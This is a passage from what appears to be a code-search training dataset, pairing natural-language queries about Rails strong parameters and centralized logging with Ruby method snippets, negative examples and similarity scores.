"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def friend_params
params[:friend]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
wrap the get input
|
def get_input(variable_symbol, question=nil)
present(question, newline: false) if question
# creating this method allows us to test it easily
# without requiring terminal input
set_input_variable(variable_symbol, gets.chomp)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_input;\t@input \t\tend",
"def gets(*rest) end",
"def gets(*rest) end",
"def get\n\t\t\tpush gets\n\t\tend",
"def get_input\n #Get input from the user\nend",
"def input; @input; end",
"def input; @input; end",
"def gets\n @input.gets\n end",
"def gets\n fail NotImplementedError, \"gets\"\n end",
"def gets\n Reish.fail NotImplementedError, \"gets\"\n end",
"def input; end",
"def input; end",
"def input; end",
"def gets(arg0, arg1, *rest)\n end",
"def user_input\n\tgets\nend",
"def input=(_arg0); end",
"def get_input\n input = gets\n return input\nend",
"def get_input\n @input = gets.strip\n end",
"def gets(*args)\n Kernel.gets(*args)\n end",
"def getInput ( question )\n puts question\n response = STDIN.gets.strip\n puts\n response\nend",
"def get_input\n @input = gets.chomp\n end",
"def get\n @io.gets\n end",
"def stdinput\n @input\n end",
"def read_input\n end",
"def get(*args, &block); end",
"def get_input\n\t#Get input from the user.\n return gets.chomp\nend",
"def get_input(*msg)\n print *msg\n return gets.strip\n end",
"def wrapped_in=(_arg0); end",
"def get; end",
"def get(get)\r\n if get != nil and not get.empty?\r\n @get = get\r\n end\r\n end",
"def get!\n request! :get\n end",
"def input\n @all[:input]\n end",
"def get_input\n gets.chomp\n end",
"def getInput(_name)\n return getInputTable()[_name] ;\n end",
"def input?; @input; end",
"def read_input; end",
"def gets\n sync\n io.gets\n end",
"def captureInput\n return gets.chomp\n end",
"def password_input\n if password_params != nil\n password = password_params[:password]\n shared = false\n get(password, shared) \n end\n end",
"def text_input; end",
"def get_input\n gets.strip #chomp was also used..\nend",
"def gets_input\n\tgets.strip\nend",
"def get()\n \n end",
"def gets(*arg)\n @stream.gets(*arg)\n end",
"def getinp(prompt, *args)\n chat = args.include?(:chat)\n overwrite = args.include?(:overwrite)\n nonempty = args.include?(:nonempty)\n # print \"in getinp\"\n if block_given? or nonempty\n # print \"block given\"\n while true do\n t = getcmd(prompt, ECHO, 0, chat,overwrite)\n t = t.strip # since we almost never want trailing whitespace\n unless (nonempty and t.empty?) # fail right away if this happens\n break if yield t\n end\n print errmsg if errmsg\n end\n print\n return t\n else\n getcmd(prompt, ECHO, 0, chat, false)\n end\n end",
"def input(wrapper_options = nil)\n # save this since we actually use it later; parents did not\n @wrapper_options = wrapper_options\n super\n end",
"def get_input\n gets.chomp \nend",
"def get_input(original_input, msg)\n if original_input.nil?\n puts \"#{msg}: \\n\"\n new_input = STDIN.gets.chomp\n if !new_input.nil? && new_input.length > 0\n return new_input\n else\n # keep bugging the user until they answer or despair\n puts \"Please enter a valid response\"\n get_input(nil, msg)\n end\n else\n return original_input\n end\nend",
"def input(applied_action_as_symbol_or_string = :inspect)\r\n gets.send(applied_action_as_symbol_or_string)\r\nend",
"def echo(input)\n return input\nend",
"def user_input_capture\n print \">>: \"\n response = gets.chomp\n response\n end",
"def gets\n result = super\n $stdout.puts result if verbose\n result\n end",
"def get(*args, &block)\n end",
"def get\n end",
"def input\n @input ||= args.dig(:input)\n end",
"def asking_getchar\n Fiber.yield :input\n end",
"def gets\n print @prompt\n l = @io.gets\n l\n end",
"def gets\n print @prompt\n l = @io.gets\n l\n end",
"def get\n end",
"def doGetOut _args\n \"doGetOut _args;\" \n end",
"def get!\n clear and get\n end",
"def input\n @input ||= Input.new\n end",
"def handle(input)\n search(input)\n end",
"def gets\n return $stdin.gets\n end",
"def gets\n in_stream ? in_stream.gets : ''\n end",
"def with_input_io(key)\n raise \"subclass responsibility\"\n end",
"def fetch_input(question_to_user)\n print question_to_user\n gets.chomp # return not needed\nend",
"def get_input\n puts \"Please enter a search term(s)\"\n input = gets.chomp\n puts \"You've entered #{input}\"\n input\nend",
"def request=(_arg0); end",
"def request=(_arg0); end",
"def request=(_arg0); end",
"def get_input(name, default)\n if default\n $stderr.puts \"#{name}: #{default}\"\n default\n else\n Readline.readline(\"#{name}: \", true)\n end\nend",
"def get_data\n print \"> \"\n data = $stdin.gets.chomp\n return data\nend",
"def getAndShow\n\tputs \"Enter your name\"\n\tname = gets()\n\tputs \"Enter your Age\"\n\tage = gets()\n\tputs \"Your name is #{name}\"\n\tputs \"Your Age is #{age}\"\nend",
"def gets\n @source.gets\n end",
"def get_input(regex)\n get_shortcut(regex,'input')\n end",
"def echo(input)\n input\nend",
"def set_text_input(input); end",
"def looper\n loop do\n render\n cursor.get_input \n end\n end",
"def get_input(info)\n offset = info.offset\n total = info.length || max_size\n limit = total - offset if total\n\n Tus::Input.new(request.body, limit: limit)\n end",
"def input\n @options[:input]\n end",
"def get_stdin(*args)\n if args.include?(:noecho)\n val = STDIN.noecho(&:gets)\n else\n val = STDIN.gets\n end\n\n if val.nil?\n cancel_publish\n else\n val.chomp!\n return val\n end\nend",
"def _getCommand\n print '>> '\n ret = gets\n puts ''\n return ret\n end",
"def get_response\nresponse = gets.chomp\nend",
"def _get\n http_method(:get)\n end",
"def gets\n print @prompt\n @io.gets\n end",
"def get(parms={})\n parms[:history] = MNV[:history].extract_boolean unless parms.has_key?(:history)\n parms[:no_dups] = MNV[:no_dups].extract_boolean unless parms.has_key?(:no_dups)\n parms[:no_move] = MNV[:no_move].extract_boolean unless parms.has_key?(:no_move)\n\n result = (input = Mysh.input).readline(parms)\n input.instance_options[:initial] = \"\"\n result\n rescue MiniReadlineEOI\n @eoi = true\n \"\\n\"\n end",
"def get_user_input\n input = gets.chomp\n #input\nend",
"def response_to(input)\nend",
"def get_parameters; end",
"def get_parameters; end",
"def get_input(question)\n\t\tputs \"What's your #{question}?\"\n\t\tgets.chomp\nend",
"def gets(*several_variants)\n #This is a stub, used for indexing\n end",
"def get_api_url()\n\tprint \"Enter the API URL(include http:// or https://)::\".yellow\n\t@api_url = gets.chomp\nend",
"def get_input_stream(entry, &a_proc); end",
"def get(&block)\n @get = block\n end",
"def get(&block)\n @get = block\n end",
"def input\n @input ||= STDIN.readlines\nend",
"def get_input(prompt)\n #get a message to display to the user and return the entered value\n print prompt\n gets.chomp\nend",
"def input=(_input)\n end",
"def get(id)\n data = @app.client.input id\n Clarinet::Input.new @app, data[:input]\n end"
] |
[
"0.719325",
"0.6520991",
"0.6520991",
"0.62766844",
"0.6208153",
"0.6188949",
"0.6188949",
"0.61641103",
"0.6022693",
"0.6009073",
"0.59837735",
"0.59837735",
"0.59837735",
"0.59228987",
"0.59115124",
"0.58717525",
"0.5838687",
"0.5834666",
"0.5828931",
"0.58174425",
"0.58081615",
"0.5797801",
"0.5780932",
"0.57449126",
"0.573576",
"0.5734121",
"0.5689096",
"0.5687885",
"0.56605715",
"0.5657417",
"0.5649169",
"0.5625592",
"0.5620637",
"0.5617579",
"0.5589694",
"0.55604887",
"0.5546126",
"0.55437875",
"0.5533291",
"0.5516397",
"0.5514295",
"0.54926044",
"0.5475097",
"0.54613566",
"0.54506874",
"0.5450414",
"0.54434335",
"0.54365456",
"0.5435705",
"0.5434826",
"0.5428013",
"0.54152775",
"0.5413386",
"0.5407248",
"0.54034317",
"0.53890264",
"0.5388246",
"0.5388246",
"0.5385402",
"0.5380925",
"0.53677285",
"0.5365686",
"0.5363313",
"0.5348302",
"0.53468025",
"0.53416514",
"0.5339392",
"0.53366524",
"0.53350127",
"0.53350127",
"0.53350127",
"0.5325834",
"0.5324907",
"0.53218055",
"0.53183365",
"0.5289204",
"0.5289178",
"0.5285994",
"0.5283351",
"0.5267655",
"0.5264444",
"0.5262405",
"0.5253875",
"0.52392554",
"0.52387786",
"0.52338886",
"0.5232267",
"0.52219695",
"0.52200145",
"0.52110696",
"0.52110696",
"0.52063566",
"0.52014357",
"0.5200868",
"0.5198826",
"0.5194153",
"0.5194153",
"0.51671964",
"0.5161865",
"0.5161466",
"0.51553875"
] |
0.0
|
-1
|
If you aren't using a framework that gives you logging out of the box, its usually a good idea to implement a centralized logging method at the base class so you get consistent logging and do things like avoid logging output during tests
|
def log(msg)
puts msg unless ENV['TEST']
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def included base\n class << base\n def log\n Deployable::Log.log\n end\n end\n end",
"def log_stuff\r\n log.info(\"TestLogger is here to log stuff.\")\r\n log.warn(\"TestLogger is finishged logging. Be careful.\")\r\n end",
"def log\n end",
"def logger ; @log end",
"def log(message); logger.info(message); end",
"def log_state\n super\n end",
"def log\n self.class.log\n end",
"def do_logging\n Log.debug \"debugging\"\n Log.info \"a piece of info\"\n Log.warn \"Danger, Will Robinson, danger!\"\n Log.error \"I dropped my Wookie! :(\"\n Log.fatal \"kaboom!\"\nend",
"def do_logging\n Log.debug \"debugging\"\n Log.info \"a piece of info\"\n Log.warn \"Danger, Will Robinson, danger!\"\n Log.error \"I dropped my Wookie! :(\"\n Log.fatal \"kaboom!\"\nend",
"def log(log)\n raise NotImplementedError\n end",
"def logger\n raise NotImplementedError\n end",
"def logger_output; end",
"def do_logging(log)\n log.debug \"debugging\"\n log.info \"a piece of info\"\n log.warn \"Danger, Will Robinson, danger!\"\n log.error \"I dropped my Wookie! :(\" \n log.fatal \"kaboom!\"\nend",
"def log_writer; end",
"def log(log_)\n raise NotImplementedError.new(\"Logging Appender must implement #log(log)\")\n end",
"def logs\n end",
"def logger; LOGGER; end",
"def test_logging\n\t$MEMORY_LOG.debug \"Test Memory Log : DEBUG\"\n\t$TIME_LOG.debug \"Test Time Log : DEBUG\"\n\t$MEMORY_LOG.error \"Test Memory Log : ERROR\"\n\t$TIME_LOG.error \"Test Time Log : ERROR\" \nend",
"def log!(msg)\n log_info(msg)\n puts(msg)\nend",
"def logs\n\n end",
"def log()\n @log\n end",
"def verbose_logging; end",
"def start_logger\n VWO::Logger.class_eval do\n # Override this method to handle logs in a #{ab_test_campaign_goal} manner\n def log(level, message)\n # Modify message for #{ab_test_campaign_goal} logging\n message = \"#{ab_test_campaign_goal} message #{message}\"\n VWO::Logger.class_variable_get('@@logger_instance').log(level, message)\n end\n end\nend",
"def log \n\t\t\tArrow::Logger[ self.class ]\n\t\tend",
"def test_log_methods\n o = StderrOutputter.new('so1', :level => WARN )\n # test to see if all of the methods are defined\n for mname in LNAMES\n next if mname == 'OFF' || mname == 'ALL'\n assert_respond_to(mname.downcase, o, \"Test respond to #{mname.to_s}\")\n end \n return # cuz the rest is borked\n # we rely on BasicFormatter's inability to reference a nil Logger to test\n # the log methods. Everything from WARN to FATAL should choke.\n event = LogEvent.new(nil, nil, nil, nil) \n assert_no_exception { o.debug event }\n assert_no_exception { o.info event }\n assert_exception(NameError) { o.warn event }\n assert_exception(NameError) { o.error event }\n assert_exception(NameError) { o.fatal event }\n # now let's dynamically change the level and repeat\n o.level = ERROR\n assert_no_exception { o.debug event}\n assert_no_exception { o.info event}\n assert_no_exception { o.warn event} \n assert_exception(NameError) { o.error event}\n assert_exception(NameError) { o.fatal event}\n end",
"def ruby_test_logging_functions\n log(\"Log 1\")\n log2(message: \"Log 2\")\n log2(message: \"Log 3\", priority: 2)\nend",
"def log(msg, meta = {})\n puts \"#{msg} --- #{meta}\"\nend",
"def log(*args); end",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def do_log(log)\r\n log.debug \"This is a message with level DEBUG\"\r\n log.info \"This is a message with level INFO\"\r\n log.warn \"This is a message with level WARN\"\r\n log.error \"This is a message with level ERROR\"\r\n log.fatal \"This is a message with level FATAL\"\r\nend",
"def log(msg)\n puts\n puts msg\nend",
"def log\n @log\n end",
"def error_log\n end",
"def error_log\n end",
"def error_log\n end",
"def log=(logger); end",
"def logged?; false end",
"def logged?; false end",
"def log=(log); end",
"def log(env, *args)\n unless env['sinatra.commonlogger'.freeze] &&\n env['rackstash.logger'.freeze].is_a?(::Rackstash::Logger)\n super\n end\n end",
"def log\n return if @logger.nil?\n\n @logger.debug(\"Counter\") { \"attempt #{self}\" }\n end",
"def log(level, msg)\n puts \"#{level}, #{@org} Customization: #{msg}\"\n end",
"def log\n advanced[:log]\n end",
"def command log\n raise NotImplementedError\n end",
"def log(*_args)\n end",
"def do_log( msg )\n log( msg )\n end",
"def log_example (message)\n $LOG.debug(message)\n $LOG.error \"Error: #{message}\"\nend",
"def log_file; end",
"def _roda_after_90__common_logger(result)\n super if result && _common_log_request?(result)\n end",
"def logL\n raise \"No implemented\"\n end",
"def log (msg, **kwargs) Log.write(msg, :info, kwargs) end",
"def log_startup\n log_environment\n log_dispatcher\n log_app_name\n end",
"def info(msg); @logger.info(msg); end",
"def method_missing(m, *args, &block)\n \tRails.logger.send m, *args, &block\n end",
"def access_logger\n Rails.application.config.another_logger.info(\"#{request.method} '#{request.path}' #{request.version} from: #{request.remote_ip}\")\n end",
"def colorize_logging; end",
"def log(msg)\n (@logger ||= OMF::Base::LObject.new(self.class)).info(msg)\n end",
"def configure_logging\n @logger = Logging.logger[self]\n end",
"def log(msg)\n puts msg if @verbose\n end",
"def log(msg)\n puts msg if @verbose\n end",
